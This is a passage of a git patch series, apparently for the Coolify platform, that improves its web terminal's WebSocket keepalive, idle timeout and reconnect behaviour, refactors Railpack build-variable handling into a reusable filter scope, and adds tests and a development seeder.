--git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml index 901aeb833..56c5b416b 100644 --- a/other/nightly/docker-compose.prod.yml +++ b/other/nightly/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.13' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.14' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml index 998d35974..e1c09c64c 100644 --- a/other/nightly/docker-compose.windows.yml +++ b/other/nightly/docker-compose.windows.yml @@ -96,7 +96,7 @@ services: retries: 10 timeout: 2s soketi: - image: 'ghcr.io/coollabsio/coolify-realtime:1.0.13' + image: 'ghcr.io/coollabsio/coolify-realtime:1.0.14' pull_policy: always container_name: coolify-realtime restart: always diff --git a/resources/js/terminal.js b/resources/js/terminal.js index aa5f37353..923d09d86 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -75,8 +75,6 @@ export function initializeTerminalComponent() { focusWhenReady(); }); - this.keepAliveInterval = setInterval(this.keepAlive.bind(this), 30000); - this.$watch('terminalActive', (active) => { if (!active && this.keepAliveInterval) { clearInterval(this.keepAliveInterval); @@ -150,8 +148,11 @@ export function initializeTerminalComponent() { }, clearAllTimers() { - [this.keepAliveInterval, this.reconnectInterval, this.connectionTimeoutId, this.pingTimeoutId, this.resizeTimeout] - .forEach(timer => timer && clearInterval(timer)); + if (this.keepAliveInterval) { + clearInterval(this.keepAliveInterval); + } + [this.reconnectInterval, this.connectionTimeoutId, this.pingTimeoutId, this.resizeTimeout] + .forEach(timer => timer && clearTimeout(timer)); this.keepAliveInterval = null; this.reconnectInterval = null; this.connectionTimeoutId = null; @@ -282,6 +283,13 @@ export function initializeTerminalComponent() { this.pendingCommand = null; } + // (Re)start application-level keepalive on every successful connect. + // Server-side WebSocket protocol pings are the primary heartbeat; this + // adds a JSON-level ping in case the server-side is older or restarting. + if (!this.keepAliveInterval) { + this.keepAliveInterval = setInterval(this.keepAlive.bind(this), 30000); + } + // Start ping timeout monitoring this.resetPingTimeout(); @@ -494,11 +502,6 @@ export function initializeTerminalComponent() { }, keepAlive() { - // Skip keepalive when document is hidden to prevent unnecessary disconnects - if (!this.isDocumentVisible) { - return; - } - if (this.socket && this.socket.readyState === WebSocket.OPEN) { this.sendMessage({ ping: true }); } else if (this.connectionState === 'disconnected') { @@ -524,10 +527,23 @@ export function initializeTerminalComponent() { logTerminal('log', '[Terminal] Tab visible, resuming connection management'); if (this.wasConnectedBeforeHidden && this.socket && this.socket.readyState === WebSocket.OPEN) { - // Send immediate ping to verify connection is still alive + // Connection may be half-open after Cloudflare/proxy idle drop while hidden. + // Probe with a short timeout (5s) instead of the default 35s — force a + // reconnect quickly if no pong arrives so the user is not stuck typing + // into a dead socket. this.heartbeatMissed = 0; this.sendMessage({ ping: true }); - this.resetPingTimeout(); + if (this.pingTimeoutId) { + clearTimeout(this.pingTimeoutId); + } + this.pingTimeoutId = setTimeout(() => { + logTerminal('warn', '[Terminal] Visibility-resume ping timed out, forcing reconnect.'); + try { + this.socket.close(4000, 'Visibility-resume timeout'); + } catch (_) { + // ignore — close handler will run on its own + } + }, 5000); } else if (this.wasConnectedBeforeHidden && this.connectionState !== 'connected') { // Was connected before but now disconnected - attempt reconnection this.reconnectAttempts = 0; diff --git a/tests/Feature/RealtimeTerminalPackagingTest.php b/tests/Feature/RealtimeTerminalPackagingTest.php index e8fa5ff76..8f4da3a62 100644 --- a/tests/Feature/RealtimeTerminalPackagingTest.php +++ b/tests/Feature/RealtimeTerminalPackagingTest.php @@ -32,3 +32,28 @@ ->toContain('if (!terminalDebugEnabled) {') ->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');"); }); + +it('configures a server-initiated WebSocket heartbeat to survive proxy idle timeouts', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain('ws.isAlive = true;') + ->toContain("ws.on('pong'") + ->toContain('ws.ping();') + ->toContain('ws.terminate();') + ->toContain('HEARTBEAT_INTERVAL_MS'); +}); + +it('removes the keepalive short-circuit that fired when the tab was hidden', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->not->toContain('// Skip keepalive when document is hidden to prevent unnecessary disconnects'); +}); + +it('uses a fast probe timeout when the tab regains visibility', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain("'Visibility-resume timeout'"); +}); From cabcd8f699dc3ac400edeb63f3a9ac0c0c2260c6 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 12:26:31 +0200 Subject: [PATCH 096/329] fix(terminal): add idle timeout, reconnect replay, and scrollback preservation - Kill PTY and notify client after 30 min of inactivity (IDLE_TIMEOUT_MS) - Buffer client messages during async auth/IP fetch to prevent race-condition message loss on fast reconnects - Replay last sent command after transient reconnect so PTY respawns without user interaction - Preserve scrollback on disconnect/reconnect; write visible timestamp markers instead of wiping term state - Handle idle-timeout sentinel on client with user-facing error message --- docker/coolify-realtime/terminal-server.js | 81 +++++++++++++++---- resources/js/terminal.js | 49 +++++++++-- .../Feature/RealtimeTerminalPackagingTest.php | 47 +++++++++++ 3 files changed, 158 insertions(+), 19 deletions(-) diff --git a/docker/coolify-realtime/terminal-server.js b/docker/coolify-realtime/terminal-server.js index 470f4af1e..11695173b 100755 --- a/docker/coolify-realtime/terminal-server.js +++ b/docker/coolify-realtime/terminal-server.js @@ -106,13 +106,24 @@ const verifyClient = async (info, callback) => { const wss = new WebSocketServer({ server, path: '/terminal/ws', verifyClient: verifyClient }); const HEARTBEAT_INTERVAL_MS = 30000; +const IDLE_TIMEOUT_MS = 30 * 60 * 1000; wss.on('connection', async (ws, req) => { ws.isAlive = true; ws.on('pong', () => { ws.isAlive = true; }); const userId = generateUserId(); - const userSession = { ws, userId, ptyProcess: null, isActive: false, authorizedIPs: [] }; + ws.userId = userId; + const userSession = { + ws, + userId, + ptyProcess: null, + isActive: false, + authorizedIPs: [], + lastActivityAt: Date.now(), + authReady: false, + pendingMessages: [], + }; const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req); const connectionContext = { userId, @@ -122,6 +133,26 @@ wss.on('connection', async (ws, req) => { hasLaravelSession: Boolean(laravelSession), }; + // Register socket handlers up front so messages sent immediately by the client + // (e.g. a command replay on reconnect) are not dropped while the auth/IP fetch + // below is still pending. + ws.on('message', (message) => { + if (userSession.authReady) { + handleMessage(userSession, message); + } else { + userSession.pendingMessages.push(message); + } + }); + ws.on('error', (err) => handleError(err, userId)); + ws.on('close', (code, reason) => { + logTerminal('log', 'Terminal websocket connection closed.', { + userId, + code, + reason: reason?.toString(), + }); + handleClose(userId); + }); + // Verify presence of required tokens if (!laravelSession || !xsrfToken) { logTerminal('warn', 'Closing websocket connection because required auth tokens are missing.', connectionContext); @@ -153,23 +184,17 @@ wss.on('connection', async (ws, req) => { } userSessions.set(userId, userSession); + userSession.authReady = true; logTerminal('log', 'Terminal websocket connection established.', { ...connectionContext, authorizedHostCount: userSession.authorizedIPs.length, + bufferedMessages: userSession.pendingMessages.length, }); - ws.on('message', (message) => { - handleMessage(userSession, message); - }); - ws.on('error', (err) => handleError(err, userId)); - ws.on('close', (code, reason) => { - logTerminal('log', 'Terminal websocket connection closed.', { - userId, - code, - reason: reason?.toString(), - }); - handleClose(userId); - }); + // Drain any messages that arrived while we were waiting on the IP auth call. + while (userSession.pendingMessages.length > 0) { + handleMessage(userSession, userSession.pendingMessages.shift()); + } }); const heartbeat = setInterval(() => { @@ -184,14 +209,41 @@ const heartbeat = setInterval(() => { } catch (_) { // ignore — close handler will follow } + + const session = ws.userId ? userSessions.get(ws.userId) : null; + if (session?.isActive && session.lastActivityAt && (Date.now() - session.lastActivityAt > IDLE_TIMEOUT_MS)) { + const idleMs = Date.now() - session.lastActivityAt; + logTerminal('warn', 'Closing terminal session due to idle timeout.', { + userId: ws.userId, + idleMs, + idleTimeoutMs: IDLE_TIMEOUT_MS, + }); + try { + ws.send('idle-timeout'); + } catch (_) { + // ignore — close still attempted below + } + killPtyProcess(ws.userId); + setTimeout(() => { + try { + ws.close(1000, 'Idle timeout'); + } catch (_) { + // ignore — already closed + } + }, 100); + } }); }, HEARTBEAT_INTERVAL_MS); wss.on('close', () => clearInterval(heartbeat)); const messageHandlers = { - message: (session, data) => session.ptyProcess.write(data), + message: (session, data) => { + session.lastActivityAt = Date.now(); + session.ptyProcess.write(data); + }, resize: (session, { cols, rows }) => { + session.lastActivityAt = Date.now(); cols = cols > 0 ? cols : 80; rows = rows > 0 ? rows : 30; session.ptyProcess.resize(cols, rows) @@ -323,6 +375,7 @@ async function handleCommand(ws, command, userId) { userSession.ptyProcess = ptyProcess; userSession.isActive = true; + userSession.lastActivityAt = Date.now(); ws.send('pty-ready'); diff --git a/resources/js/terminal.js b/resources/js/terminal.js index 923d09d86..fe13c1b21 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -42,6 +42,10 @@ export function initializeTerminalComponent() { maxHeartbeatMisses: 3, // Command buffering for race condition prevention pendingCommand: null, + // Last successfully sent SSH command — replayed after a transient reconnect + // so the PTY respawns automatically. Cleared on intentional terminations + // (pty-exited, idle-timeout, unprocessable). + lastSentCommand: null, // Resize handling resizeObserver: null, resizeTimeout: null, @@ -162,9 +166,17 @@ export function initializeTerminalComponent() { resetTerminal() { if (this.term) { - this.$wire.dispatch('error', 'Terminal websocket connection lost.'); - this.term.reset(); - this.term.clear(); + this.$wire.dispatch('error', 'Terminal websocket connection lost. Reconnecting...'); + // Preserve scrollback so the user keeps the context of their previous + // session. Print a visible marker so they know where the disconnect + // happened. Old PTY shell state cannot be restored — this is purely + // a visual carry-over. + try { + const stamp = new Date().toLocaleTimeString(); + this.term.write(`\r\n\x1b[33m── Connection lost at ${stamp}, reconnecting... ──\x1b[0m\r\n`); + } catch (_) { + // ignore — terminal not ready to receive writes + } this.pendingWrites = 0; this.paused = false; this.commandBuffer = ''; @@ -277,10 +289,15 @@ export function initializeTerminalComponent() { this.connectionTimeoutId = null; } - // Flush any buffered command from before WebSocket was ready + // Flush any buffered command from before WebSocket was ready, otherwise + // replay the last command so a transient reconnect respawns the PTY + // automatically without requiring the user to click Connect again. if (this.pendingCommand) { this.sendMessage(this.pendingCommand); this.pendingCommand = null; + } else if (this.lastSentCommand) { + logTerminal('log', '[Terminal] Replaying last command after reconnect.'); + this.sendMessage(this.lastSentCommand); } // (Re)start application-level keepalive on every successful connect. @@ -362,6 +379,9 @@ export function initializeTerminalComponent() { sendMessage(message) { if (this.socket && this.socket.readyState === WebSocket.OPEN) { this.socket.send(JSON.stringify(message)); + if (message && message.command) { + this.lastSentCommand = message; + } } else { logTerminal('warn', '[Terminal] WebSocket not ready, message not sent:', message); } @@ -395,7 +415,15 @@ export function initializeTerminalComponent() { this.term.open(document.getElementById('terminal')); this.term._initialized = true; } else { - this.term.reset(); + // Already initialized — this is a reconnect or a follow-up command. + // Preserve scrollback so the user keeps context. Write a visible + // separator so the new shell prompt is easy to spot. + try { + const stamp = new Date().toLocaleTimeString(); + this.term.write(`\r\n\x1b[32m── Reconnected at ${stamp} ──\x1b[0m\r\n`); + } catch (_) { + // ignore — fall through; xterm will render the new prompt anyway + } } this.terminalActive = true; this.term.focus(); @@ -423,6 +451,7 @@ export function initializeTerminalComponent() { } else if (event.data === 'unprocessable') { if (this.term) this.term.reset(); this.terminalActive = false; + this.lastSentCommand = null; this.message = '(sorry, something went wrong, please try again)'; // Notify parent component that terminal connection failed @@ -431,9 +460,19 @@ export function initializeTerminalComponent() { this.terminalActive = false; this.term.reset(); this.commandBuffer = ''; + this.lastSentCommand = null; // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); + } else if (event.data === 'idle-timeout') { + this.$wire.dispatch('error', 'Terminal closed after 30 minutes of inactivity.'); + this.terminalActive = false; + if (this.term) { + this.term.reset(); + } + this.commandBuffer = ''; + this.lastSentCommand = null; + this.$wire.dispatch('terminalDisconnected'); } else if ( typeof event.data === 'string' && (event.data.startsWith('Unauthorized:') || event.data.startsWith('Invalid SSH command:')) diff --git a/tests/Feature/RealtimeTerminalPackagingTest.php b/tests/Feature/RealtimeTerminalPackagingTest.php index 8f4da3a62..ba01deca5 100644 --- a/tests/Feature/RealtimeTerminalPackagingTest.php +++ b/tests/Feature/RealtimeTerminalPackagingTest.php @@ -57,3 +57,50 @@ expect($terminalClient) ->toContain("'Visibility-resume timeout'"); }); + +it('closes idle terminal sessions after 30 minutes on the server', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000') + ->toContain('lastActivityAt') + ->toContain("ws.send('idle-timeout');") + ->toContain("ws.close(1000, 'Idle timeout');"); +}); + +it('reacts to idle-timeout sentinel on the client and shows a user-facing error', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain("event.data === 'idle-timeout'") + ->toContain('Terminal closed after 30 minutes of inactivity.'); +}); + +it('replays the last command on reconnect so the PTY respawns automatically', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain('lastSentCommand') + ->toContain('Replaying last command after reconnect.') + ->toContain('this.lastSentCommand = null;'); +}); + +it('buffers messages received before the realtime server finishes auth so the replay is not lost', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain('authReady: false') + ->toContain('pendingMessages: []') + ->toContain('userSession.pendingMessages.push(message)') + ->toContain('userSession.authReady = true'); +}); + +it('preserves terminal scrollback across transient reconnects', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain('── Connection lost at') + ->toContain('── Reconnected at') + // resetTerminal must NOT call term.reset()/term.clear() any more — those wipe scrollback. + ->not->toContain("this.term.reset();\n this.term.clear();"); +}); From 1368026f20d88045601f6d1ad03b53e9aff7d2b4 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 12:29:32 +0200 Subject: [PATCH 097/329] fix(terminal): remove verbose websocket message logging --- docker/coolify-realtime/terminal-server.js | 6 ------ resources/js/terminal.js | 2 -- 2 files changed, 8 deletions(-) diff --git a/docker/coolify-realtime/terminal-server.js b/docker/coolify-realtime/terminal-server.js index 11695173b..f5760279f 100755 --- a/docker/coolify-realtime/terminal-server.js +++ b/docker/coolify-realtime/terminal-server.js @@ -271,12 +271,6 @@ function handleMessage(userSession, message) { return; } - logTerminal('log', 'Received websocket message.', { - userId: userSession.userId, - keys: Object.keys(parsed), - isActive: userSession.isActive, - }); - Object.entries(parsed).forEach(([key, value]) => { const handler = messageHandlers[key]; if (handler && (userSession.isActive || key === 'checkActive' || key === 'command' || key === 'ping')) { diff --git a/resources/js/terminal.js b/resources/js/terminal.js index fe13c1b21..7a7fc8536 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -396,8 +396,6 @@ export function initializeTerminalComponent() { }, handleSocketMessage(event) { - logTerminal('log', '[Terminal] Received WebSocket message:', event.data); - // Handle pong responses if (event.data === 'pong') { this.heartbeatMissed = 0; From b3339d1034079a75e5a05c48c840c1f308fc89fd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 14:37:31 +0200 Subject: [PATCH 098/329] feat(railpack): add buildpack control var filtering and dev seeder Extract NIXPACKS_/RAILPACK_ prefix filtering into a reusable `scopeWithoutBuildpackControlVariables` query scope on EnvironmentVariable. Apply scope consistently to runtime vars, runtime preview vars, and buildtime var generation in ApplicationDeploymentJob. Refactor `generate_railpack_env_variables` to return a Collection. Add `RAILPACK_FRONTEND_IMAGE` constant and bake it into the coolify-helper Dockerfile as a build arg. Add DevelopmentRailpackExamplesSeeder (dev/local env only) for seeding example Railpack apps, wired into DatabaseSeeder. Add tests: - ApplicationDeploymentControlVarFilteringTest: verifies control vars are excluded from runtime and buildtime envs - DevelopmentRailpackExamplesSeederTest: verifies seeder behavior - ApplicationDeploymentRailpackEnvParityTest: parity checks for env handling across build/runtime paths --- app/Jobs/ApplicationDeploymentJob.php | 175 ++++--- app/Models/Application.php | 6 +- app/Models/EnvironmentVariable.php | 31 +- database/seeders/DatabaseSeeder.php | 6 + .../DevelopmentRailpackExamplesSeeder.php | 441 ++++++++++++++++++ docker/coolify-helper/Dockerfile | 2 + openapi.json | 12 +- openapi.yaml | 12 +- ...ationDeploymentControlVarFilteringTest.php | 287 ++++++++++++ .../DevelopmentRailpackExamplesSeederTest.php | 121 +++++ ...pplicationDeploymentRailpackConfigTest.php | 37 +- ...icationDeploymentRailpackEnvParityTest.php | 124 +++++ 12 files changed, 1177 insertions(+), 77 deletions(-) create mode 100644 database/seeders/DevelopmentRailpackExamplesSeeder.php create mode 100644 tests/Feature/ApplicationDeploymentControlVarFilteringTest.php create mode 100644 tests/Feature/DevelopmentRailpackExamplesSeederTest.php create mode 100644 tests/Unit/ApplicationDeploymentRailpackEnvParityTest.php diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index e12c8eabf..fbf981483 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -53,6 +53,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private const RAILPACK_GENERATED_CONFIG_PATH = '.coolify/railpack.generated.json'; + private const RAILPACK_FRONTEND_IMAGE_ENV = '${RAILPACK_FRONTEND_IMAGE}'; + public $tries = 1; public $timeout = 3600; @@ -1259,11 +1261,11 @@ private function generate_runtime_environment_variables() $envs = collect([]); $sort = $this->application->settings->is_env_sorting_enabled; if ($sort) { - $sorted_environment_variables = $this->application->environment_variables->sortBy('key'); - $sorted_environment_variables_preview = $this->application->environment_variables_preview->sortBy('key'); + $sorted_environment_variables = $this->application->runtime_environment_variables->sortBy('key'); + $sorted_environment_variables_preview = $this->application->runtime_environment_variables_preview->sortBy('key'); } else { - $sorted_environment_variables = $this->application->environment_variables->sortBy('id'); - $sorted_environment_variables_preview = $this->application->environment_variables_preview->sortBy('id'); + $sorted_environment_variables = $this->application->runtime_environment_variables->sortBy('id'); + $sorted_environment_variables_preview = $this->application->runtime_environment_variables_preview->sortBy('id'); } if ($this->build_pack === 'dockercompose') { $sorted_environment_variables = $sorted_environment_variables->filter(function ($env) { @@ -1634,6 +1636,7 @@ private function generate_buildtime_environment_variables() // 4. Add user-defined build-time variables LAST (highest priority - can override everything) if ($this->pull_request_id === 0) { $sorted_environment_variables = $this->application->environment_variables() + ->withoutBuildpackControlVariables() ->where('is_buildtime', true) // ONLY build-time variables ->orderBy($this->application->settings->is_env_sorting_enabled ? 'key' : 'id') ->get(); @@ -1686,6 +1689,7 @@ private function generate_buildtime_environment_variables() } } else { $sorted_environment_variables = $this->application->environment_variables_preview() + ->withoutBuildpackControlVariables() ->where('is_buildtime', true) // ONLY build-time variables ->orderBy($this->application->settings->is_env_sorting_enabled ? 'key' : 'id') ->get(); @@ -2468,28 +2472,114 @@ private function generate_nixpacks_env_variables() $this->env_nixpacks_args = $this->env_nixpacks_args->implode(' '); } - private function generate_railpack_env_variables(): void + private function generate_railpack_env_variables(): Collection + { + $variables = $this->railpack_build_variables(); + + $this->env_railpack_args = $variables + ->map(function ($value, $key) { + return '--env '.escapeShellValue("{$key}={$value}"); + }) + ->implode(' '); + + return $variables; + } + + private function railpack_environment_variables_collection(): Collection { - $this->env_railpack_args = collect([]); if ($this->pull_request_id === 0) { - foreach ($this->application->railpack_environment_variables as $env) { - if (! is_null($env->real_value) && $env->real_value !== '') { - $this->env_railpack_args->push("--env {$env->key}={$env->real_value}"); - } - } - } else { - foreach ($this->application->railpack_environment_variables_preview as $env) { - if (! is_null($env->real_value) && $env->real_value !== '') { - $this->env_railpack_args->push("--env {$env->key}={$env->real_value}"); - } - } + return $this->application->railpack_environment_variables; } - // Note: COOLIFY_* vars are NOT passed to railpack prepare because railpack treats - // all --env vars as secrets that must be provided during docker buildx build. - // COOLIFY_* vars are informational and available at runtime via .env file. + return $this->application->railpack_environment_variables_preview; + } - $this->env_railpack_args = $this->env_railpack_args->implode(' '); + private function normalize_resolved_build_variable_value(EnvironmentVariable $environmentVariable): ?string + { + $resolvedValue = $environmentVariable->getResolvedValueWithServer($this->mainServer); + if (is_null($resolvedValue) || $resolvedValue === '') { + return null; + } + + if ($environmentVariable->is_literal || $environmentVariable->is_multiline) { + return trim($resolvedValue, "'"); + } + + return $resolvedValue; + } + + private function railpack_build_variables(): Collection + { + $variables = $this->railpack_environment_variables_collection() + ->mapWithKeys(function (EnvironmentVariable $environmentVariable) { + $value = $this->normalize_resolved_build_variable_value($environmentVariable); + if (is_null($value) || $value === '') { + return []; + } + + return [$environmentVariable->key => $value]; + }); + + if ($this->application->install_command) { + $variables->put('RAILPACK_INSTALL_CMD', $this->application->install_command); + } + + return $variables; + } + + private function railpack_build_environment_prefix(Collection $variables): string + { + if ($variables->isEmpty()) { + return ''; + } + + return 'env '.$variables + ->map(function ($value, $key) { + return "{$key}=".escapeShellValue($value); + }) + ->implode(' ').' '; + } + + private function railpack_build_secret_flags(Collection $variables): string + { + if ($variables->isEmpty()) { + return ''; + } + + return ' '.$variables + ->map(function ($value, $key) { + return "--secret id={$key},env={$key}"; + }) + ->implode(' '); + } + + private function railpack_build_command(string $imageName, Collection $variables): string + { + $cacheArgs = ''; + if ($this->force_rebuild) { + $cacheArgs = '--no-cache'; + } else { + $cacheArgs = "--build-arg cache-key='{$this->application->uuid}'"; + } + + if ($variables->isNotEmpty()) { + $cacheArgs .= ' --build-arg secrets-hash='.$this->generate_secrets_hash($variables); + } + + $environmentPrefix = $this->railpack_build_environment_prefix($variables); + $secretFlags = $this->railpack_build_secret_flags($variables); + + return 'docker buildx create --name coolify-railpack --driver docker-container 2>/dev/null || true' + ." && {$environmentPrefix}docker buildx build --builder coolify-railpack" + ." {$this->addHosts} --network host" + .' --build-arg BUILDKIT_SYNTAX="'.self::RAILPACK_FRONTEND_IMAGE_ENV.'"' + ." {$cacheArgs}" + ."{$secretFlags}" + .' -f /artifacts/railpack-plan.json' + .' --progress plain' + .' --load' + ." -t {$imageName}" + ." {$this->workdir}"; } private function decode_railpack_config(string $config, string $source): array @@ -2609,10 +2699,6 @@ private function railpack_prepare_command(?string $configFilePath = null): strin { $prepare_command = 'railpack prepare'; - if ($this->application->install_command) { - $prepare_command .= ' --env '.escapeShellValue("RAILPACK_INSTALL_CMD={$this->application->install_command}"); - } - if ($this->application->build_command) { $prepare_command .= ' --build-cmd '.escapeShellValue($this->application->build_command); } @@ -2636,7 +2722,7 @@ private function railpack_prepare_command(?string $configFilePath = null): strin private function build_railpack_image(): void { - $this->generate_railpack_env_variables(); + $railpackVariables = $this->generate_railpack_env_variables(); $railpackConfigPath = $this->generate_railpack_config_file(); // Step 1: Generate build plan with railpack prepare @@ -2660,34 +2746,7 @@ private function build_railpack_image(): void $this->pull_latest_image($this->application->static_image); } - $cache_args = ''; - if ($this->force_rebuild) { - $cache_args = '--no-cache'; - } else { - $cache_args = "--build-arg cache-key='{$this->application->uuid}'"; - } - - $installCommandEnv = ''; - $installCommandSecret = ''; - if ($this->application->install_command) { - $installCommandEnv = 'env RAILPACK_INSTALL_CMD='.escapeShellValue($this->application->install_command).' '; - $installCommandSecret = ' --secret id=RAILPACK_INSTALL_CMD,env=RAILPACK_INSTALL_CMD'; - $cache_args .= ' --build-arg secrets-hash='.$this->generate_secrets_hash(collect([ - 'RAILPACK_INSTALL_CMD' => $this->application->install_command, - ])); - } - - $build_command = 'docker buildx create --name coolify-railpack --driver docker-container 2>/dev/null || true' - ." && {$installCommandEnv}docker buildx build --builder coolify-railpack" - ." {$this->addHosts} --network host" - ." --build-arg BUILDKIT_SYNTAX='ghcr.io/railwayapp/railpack-frontend'" - ." {$cache_args}" - ."{$installCommandSecret}" - .' -f /artifacts/railpack-plan.json' - .' --progress plain' - .' --load' - ." -t {$image_name}" - ." {$this->workdir}"; + $build_command = $this->railpack_build_command($image_name, $railpackVariables); $base64_build_command = base64_encode($build_command); $this->execute_remote_command( @@ -2859,7 +2918,7 @@ private function generate_env_variables() // For build process, include only environment variables where is_buildtime = true if ($this->pull_request_id === 0) { $envs = $this->application->environment_variables() - ->where('key', 'not like', 'NIXPACKS_%') + ->withoutBuildpackControlVariables() ->where('is_buildtime', true) ->get(); @@ -2871,7 +2930,7 @@ private function generate_env_variables() } } else { $envs = $this->application->environment_variables_preview() - ->where('key', 'not like', 'NIXPACKS_%') + ->withoutBuildpackControlVariables() ->where('is_buildtime', true) ->get(); @@ -3951,7 +4010,7 @@ private function add_build_env_variables_to_dockerfile() if ($this->pull_request_id === 0) { // Only add environment variables that are available during build $envs = $this->application->environment_variables() - ->where('key', 'not like', 'NIXPACKS_%') + ->withoutBuildpackControlVariables() ->where('is_buildtime', true) ->get(); foreach ($envs as $env) { @@ -3973,7 +4032,7 @@ private function add_build_env_variables_to_dockerfile() } else { // Only add preview environment variables that are available during build $envs = $this->application->environment_variables_preview() - ->where('key', 'not like', 'NIXPACKS_%') + ->withoutBuildpackControlVariables() ->where('is_buildtime', true) ->get(); foreach ($envs as $env) { diff --git a/app/Models/Application.php b/app/Models/Application.php index 2201b1d16..2a364e13f 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -960,8 +960,7 @@ public function runtime_environment_variables() { return $this->morphMany(EnvironmentVariable::class, 'resourceable') ->where('is_preview', false) - ->where('key', 'not like', 'NIXPACKS_%') - ->where('key', 'not like', 'RAILPACK_%'); + ->withoutBuildpackControlVariables(); } public function nixpacks_environment_variables() @@ -996,8 +995,7 @@ public function runtime_environment_variables_preview() { return $this->morphMany(EnvironmentVariable::class, 'resourceable') ->where('is_preview', true) - ->where('key', 'not like', 'NIXPACKS_%') - ->where('key', 'not like', 'RAILPACK_%'); + ->withoutBuildpackControlVariables(); } public function nixpacks_environment_variables_preview() diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 83212267c..25e2dcfb3 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Models\EnvironmentVariable as ModelsEnvironmentVariable; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Casts\Attribute; use OpenApi\Attributes as OA; @@ -32,6 +33,8 @@ )] class EnvironmentVariable extends BaseModel { + public const BUILDPACK_CONTROL_VARIABLE_PREFIXES = ['NIXPACKS_', 'RAILPACK_']; + protected $attributes = [ 'is_runtime' => true, 'is_buildtime' => true, @@ -78,7 +81,7 @@ class EnvironmentVariable extends BaseModel protected static function booted() { - static::created(function (EnvironmentVariable $environment_variable) { + static::created(function (ModelsEnvironmentVariable $environment_variable) { if ($environment_variable->resourceable_type === Application::class && ! $environment_variable->is_preview) { $found = ModelsEnvironmentVariable::where('key', $environment_variable->key) ->where('resourceable_type', Application::class) @@ -109,7 +112,7 @@ protected static function booted() ]); }); - static::saving(function (EnvironmentVariable $environmentVariable) { + static::saving(function (ModelsEnvironmentVariable $environmentVariable) { $environmentVariable->updateIsShared(); }); } @@ -119,6 +122,30 @@ public function service() return $this->belongsTo(Service::class); } + public function scopeWithoutBuildpackControlVariables(Builder $query): Builder + { + foreach (self::BUILDPACK_CONTROL_VARIABLE_PREFIXES as $prefix) { + $query->where('key', 'not like', "{$prefix}%"); + } + + return $query; + } + + public static function isBuildpackControlKey(?string $key): bool + { + if (blank($key)) { + return false; + } + + foreach (self::BUILDPACK_CONTROL_VARIABLE_PREFIXES as $prefix) { + if (str($key)->startsWith($prefix)) { + return true; + } + } + + return false; + } + protected function value(): Attribute { return Attribute::make( diff --git a/database/seeders/DatabaseSeeder.php b/database/seeders/DatabaseSeeder.php index 57ccab4ae..4f5c4431a 100644 --- a/database/seeders/DatabaseSeeder.php +++ b/database/seeders/DatabaseSeeder.php @@ -31,5 +31,11 @@ public function run(): void CaSslCertSeeder::class, PersonalAccessTokenSeeder::class, ]); + + if (in_array(config('app.env'), ['local', 'development', 'dev'], true)) { + $this->call([ + DevelopmentRailpackExamplesSeeder::class, + ]); + } } } diff --git a/database/seeders/DevelopmentRailpackExamplesSeeder.php b/database/seeders/DevelopmentRailpackExamplesSeeder.php new file mode 100644 index 000000000..4629f29ca --- /dev/null +++ b/database/seeders/DevelopmentRailpackExamplesSeeder.php @@ -0,0 +1,441 @@ +isDevelopmentEnvironment()) { + $this->command?->warn('Skipping DevelopmentRailpackExamplesSeeder outside development mode.'); + + return; + } + + $this->ensureDevelopmentPrerequisitesExist(); + $destination = StandaloneDocker::query()->find(0); + + if (! $destination) { + throw new RuntimeException('StandaloneDocker with id=0 is required before running DevelopmentRailpackExamplesSeeder.'); + } + + $environment = $this->prepareEnvironment(); + + foreach (self::examples() as $example) { + $this->upsertApplication($environment, $destination, $example); + } + } + + /** + * @return array> + */ + public static function examples(): array + { + return [ + [ + 'uuid' => 'railpack-simple-webserver', + 'name' => 'Railpack Simple Webserver Example', + 'base_directory' => '/node/simple-webserver', + 'ports_exposes' => '3000', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-expressjs', + 'name' => 